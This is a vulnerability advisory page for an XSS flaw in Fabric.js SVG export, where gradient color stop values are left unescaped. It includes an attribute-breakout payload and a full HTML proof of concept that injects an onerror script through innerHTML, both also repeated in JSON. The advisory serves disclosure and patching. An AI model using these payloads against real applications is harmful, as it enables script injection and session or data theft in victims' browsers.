GHSA-W22M-HVVM-XMWX

Vulnerability from github – Published: 2026-06-12 21:00 – Updated: 2026-06-12 21:00
VLAI
Summary
Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization
Details

Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.

Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.

Details

During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:

<stop offset="0" stop-color="..."></stop>

However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup.

For example:

color: 'red"><img src="x" onerror="alert(1)">'

may result in:

<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">

This breaks the intended SVG structure and introduces executable HTML.

PoC (Proof of Concept)

Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:

<!DOCTYPE html>
<html>
<head>
   <title>Fabric.js SVG Export XSS Bypass Test</title>
   <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script>
</head>
<body>
   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
   <canvas id="c" width="400" height="300"></canvas>

   <h3>SVG Output Rendering:</h3>
   <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

   <script>
       setTimeout(() => {
           const canvas = new fabric.Canvas('c');

           // Construct a malicious gradient object
           const maliciousGradient = new fabric.Gradient({
               type: 'linear',
               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
               colorStops: [
                   {
                       offset: 0,
                       // Inject XSS payload to prematurely close the attribute/tag
                       color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
                   },
                   { offset: 1, color: 'blue' }
               ]
           });

           const rect = new fabric.Rect({
               left: 50, top: 50, width: 300, height: 100,
               fill: maliciousGradient
           });

           canvas.add(rect);

           // Export to SVG string containing the malicious code
           const svgOutput = canvas.toSVG();

           // Render on the page to trigger the XSS
           document.getElementById('svg-output').innerHTML = svgOutput;
       }, 100);
   </script>
</body>
</html>

Impact

This issue can lead to XSS in applications that: 1. Allow user-controlled input in gradient definitions (e.g., color values) 2. Use canvas.toSVG() to export content 3. Insert the resulting SVG string into the DOM without sanitization (e.g., via innerHTML)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

Suggested Fix

Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fabric"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T21:00:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.\n\nSpecifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `\u003cstop\u003e` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim\u0027s browser.\n\n### Details\n\nDuring SVG export, Fabric.js serializes gradient color stops into `\u003cstop\u003e` elements like:\n\n```xml\n\u003cstop offset=\"0\" stop-color=\"...\"\u003e\u003c/stop\u003e\n```\n\nHowever, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `\"`, `\u003c`, and `\u003e`. This allows crafted input to break out of the attribute context and inject arbitrary markup.\n\nFor example:\n```js\ncolor: \u0027red\"\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027\n```\n\nmay result in:\n```xml\n\u003cstop offset=\"0\" stop-color=\"red\"\u003e\n\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\n```\nThis breaks the intended SVG structure and introduces executable HTML.\n\n### PoC (Proof of Concept)\n\nSuccessfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n   \u003ctitle\u003eFabric.js SVG Export XSS Bypass Test\u003c/title\u003e\n   \u003cscript src=\"[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n   \u003ch1\u003eFabric.js SVG Export XSS Bypass Test (Gradient Color)\u003c/h1\u003e\n   \u003ccanvas id=\"c\" width=\"400\" height=\"300\"\u003e\u003c/canvas\u003e\n   \n   \u003ch3\u003eSVG Output Rendering:\u003c/h3\u003e\n   \u003cdiv id=\"svg-output\" style=\"border: 1px solid #ccc; padding: 10px; margin-top: 10px;\"\u003e\u003c/div\u003e\n\n   \u003cscript\u003e\n       setTimeout(() =\u003e {\n           const canvas = new fabric.Canvas(\u0027c\u0027);\n           \n           // Construct a malicious gradient object\n           const maliciousGradient = new fabric.Gradient({\n               type: \u0027linear\u0027,\n               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },\n               colorStops: [\n                   {\n                       offset: 0,\n                       // Inject XSS payload to prematurely close the attribute/tag\n                       color: \u0027red\"\u003e\u003cimg src=\"x\" onerror=\"alert(\\\u0027XSS Triggered Successfully!\\\u0027)\"\u003e\u0027\n                   },\n                   { offset: 1, color: \u0027blue\u0027 }\n               ]\n           });\n\n           const rect = new fabric.Rect({\n               left: 50, top: 50, width: 300, height: 100,\n               fill: maliciousGradient\n           });\n\n           canvas.add(rect);\n\n           // Export to SVG string containing the malicious code\n           const svgOutput = canvas.toSVG();\n\n           // Render on the page to trigger the XSS\n           document.getElementById(\u0027svg-output\u0027).innerHTML = svgOutput;\n       }, 100);\n   \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis issue can lead to XSS in applications that:\n1. Allow user-controlled input in gradient definitions (e.g., color values)\n2. Use `canvas.toSVG()` to export content\n3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)\n\nSuccessful exploitation may result in the execution of arbitrary JavaScript in the victim\u0027s browser, theft of sensitive data, or unauthorized actions on behalf of the user.\n\n### Suggested Fix\n**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.",
  "id": "GHSA-w22m-hvvm-xmwx",
  "modified": "2026-06-12T21:00:32Z",
  "published": "2026-06-12T21:00:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fabricjs/fabric.js/security/advisories/GHSA-w22m-hvvm-xmwx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fabricjs/fabric.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fabricjs/fabric.js/releases/tag/v740"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.